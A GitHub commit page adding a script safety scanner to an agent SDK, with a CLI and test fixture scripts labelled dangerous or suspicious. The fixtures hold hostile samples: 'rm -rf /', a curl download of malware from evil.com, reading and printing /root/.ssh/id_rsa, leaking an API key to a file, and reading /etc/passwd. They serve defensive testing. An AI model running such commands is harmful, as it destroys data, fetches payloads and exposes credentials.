Skip to content

Commit 4043fa5

Browse files
Stelquiscnb
authored andcommitted
feat(safety): 构建 Tool 执行脚本安全检查器,支持 Filter 拦截与监控
实现可插拔的脚本安全扫描系统,覆盖 6 类风险类型, 支持 Python (AST) 和 Bash (正则) 扫描,三级决策, Filter/Wrapper 双接入方式,含审计日志与 OTel 埋点。
1 parent f2a34ff commit 4043fa5

30 files changed

Lines changed: 3375 additions & 0 deletions

scripts/tool_safety_check.py

Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
#!/usr/bin/env python3
2+
"""Tool Script Safety Check — CLI for scanning scripts for security risks.
3+
4+
Usage:
5+
python scripts/tool_safety_check.py path/to/script.py
6+
python scripts/tool_safety_check.py path/to/script.sh --type bash
7+
python scripts/tool_safety_check.py --stdin < script.sh
8+
python scripts/tool_safety_check.py --version
9+
"""
10+
11+
import argparse
12+
import os
13+
import sys
14+
import json
15+
16+
# Add project root to path
17+
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
18+
19+
from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
20+
from trpc_agent_sdk.tools.safety._scanner import SafetyScanner
21+
from trpc_agent_sdk.tools.safety._types import ScanInput, ScriptType
22+
23+
24+
def detect_script_type(path: str) -> ScriptType:
25+
"""Detect script type from file extension."""
26+
ext = os.path.splitext(path)[1].lower()
27+
if ext in (".py",):
28+
return ScriptType.PYTHON
29+
if ext in (".sh", ".bash", ".zsh", ".ksh"):
30+
return ScriptType.BASH
31+
return ScriptType.UNKNOWN
32+
33+
34+
def main():
35+
parser = argparse.ArgumentParser(
36+
description="Tool Script Safety Check — scan scripts for security risks",
37+
)
38+
parser.add_argument("path", nargs="?", help="Path to script file")
39+
parser.add_argument("--type", "-t", choices=["auto", "bash", "python"],
40+
default="auto", help="Script type (default: auto-detect)")
41+
parser.add_argument("--stdin", action="store_true",
42+
help="Read script from stdin")
43+
parser.add_argument("--json", action="store_true",
44+
help="Output as JSON")
45+
parser.add_argument("--policy", "-p",
46+
default="tool_safety_policy.yaml",
47+
help="Path to policy file")
48+
parser.add_argument("--version", "-v", action="store_true",
49+
help="Show version")
50+
51+
args = parser.parse_args()
52+
53+
if args.version:
54+
from trpc_agent_sdk.tools.safety import __version__ as ver
55+
print(f"tool-safety-check version {ver}")
56+
return
57+
58+
# Read script content
59+
if args.stdin:
60+
script_content = sys.stdin.read()
61+
tool_name = "stdin"
62+
script_type = ScriptType.UNKNOWN
63+
elif args.path:
64+
path = args.path
65+
if not os.path.exists(path):
66+
print(f"Error: File not found: {path}", file=sys.stderr)
67+
sys.exit(1)
68+
with open(path, "r", encoding="utf-8") as f:
69+
script_content = f.read()
70+
tool_name = os.path.basename(path)
71+
script_type = detect_script_type(path) if args.type == "auto" \
72+
else ScriptType.PYTHON if args.type == "python" else ScriptType.BASH
73+
else:
74+
parser.print_help()
75+
sys.exit(1)
76+
77+
# Load policy and scan
78+
try:
79+
policy = SafetyPolicy.from_file(args.policy)
80+
except FileNotFoundError:
81+
print(f"Error: Policy file not found: {args.policy}", file=sys.stderr)
82+
sys.exit(1)
83+
84+
scanner = SafetyScanner(policy)
85+
scan_input = ScanInput(
86+
script_content=script_content,
87+
script_type=script_type,
88+
tool_name=tool_name,
89+
)
90+
report = scanner.scan(scan_input)
91+
92+
if args.json:
93+
print(json.dumps(report.to_dict(), indent=2, ensure_ascii=False))
94+
else:
95+
_print_report(report)
96+
if report.is_blocked:
97+
sys.exit(2)
98+
elif report.needs_review:
99+
sys.exit(1)
100+
101+
102+
def _print_report(report):
103+
"""Print a human-readable safety report."""
104+
print(f"\n{'='*60}")
105+
print(f" Tool Script Safety Report")
106+
print(f"{'='*60}")
107+
print(f" Tool: {report.tool_name}")
108+
print(f" Script Type: {report.script_type.name}")
109+
print(f" Decision: {report.decision.name}")
110+
print(f" Risk Level: {report.risk_level.name}")
111+
print(f" Duration: {report.scan_duration_ms:.2f}ms")
112+
print(f" Matches: {report.match_count}")
113+
print(f" Timestamp: {report.timestamp}")
114+
115+
if report.matches:
116+
print(f"\n {'─'*58}")
117+
for m in report.matches:
118+
print(f" [{m.rule_id}] {m.risk_category.name} (risk={m.risk_level.name})")
119+
print(f" Line {m.line_number}: {m.evidence[:100]}")
120+
print(f" → {m.recommendation}")
121+
if m.masked:
122+
print(f" (sensitive data masked)")
123+
print()
124+
else:
125+
print(f"\n ✅ No risks detected.\n")
126+
127+
128+
if __name__ == "__main__":
129+
main()

tests/tools/safety/__init__.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
"""Tests for the Tool Script Safety Guard."""
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/bash
2+
# Suspicious: pipe with sensitive file — needs human review
3+
cat /etc/passwd | grep root
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
"""Dangerous: recursive delete via os.system."""
2+
import os
3+
os.system("rm -rf /")
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
"""Dangerous: infinite loop — resource abuse."""
2+
while True:
3+
pass
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
"""Dangerous: leak API key to file."""
2+
api_key = "sk-123456789012345678901234"
3+
with open("/tmp/leak.txt", "w") as f:
4+
f.write(f"API_KEY={api_key}")
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/bash
2+
# Dangerous: network egress to non-whitelisted domain
3+
curl http://evil.com/malware -o /tmp/malware
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/bash
2+
# Safe: network request to whitelisted domain
3+
curl https://api.openai.com/v1/models
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/bash
2+
# Dangerous: install untrusted package
3+
pip install untrusted-package
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
"""Dangerous: read SSH private key."""
2+
with open("/root/.ssh/id_rsa") as f:
3+
key = f.read()
4+
print(key)

0 commit comments

Comments
 (0)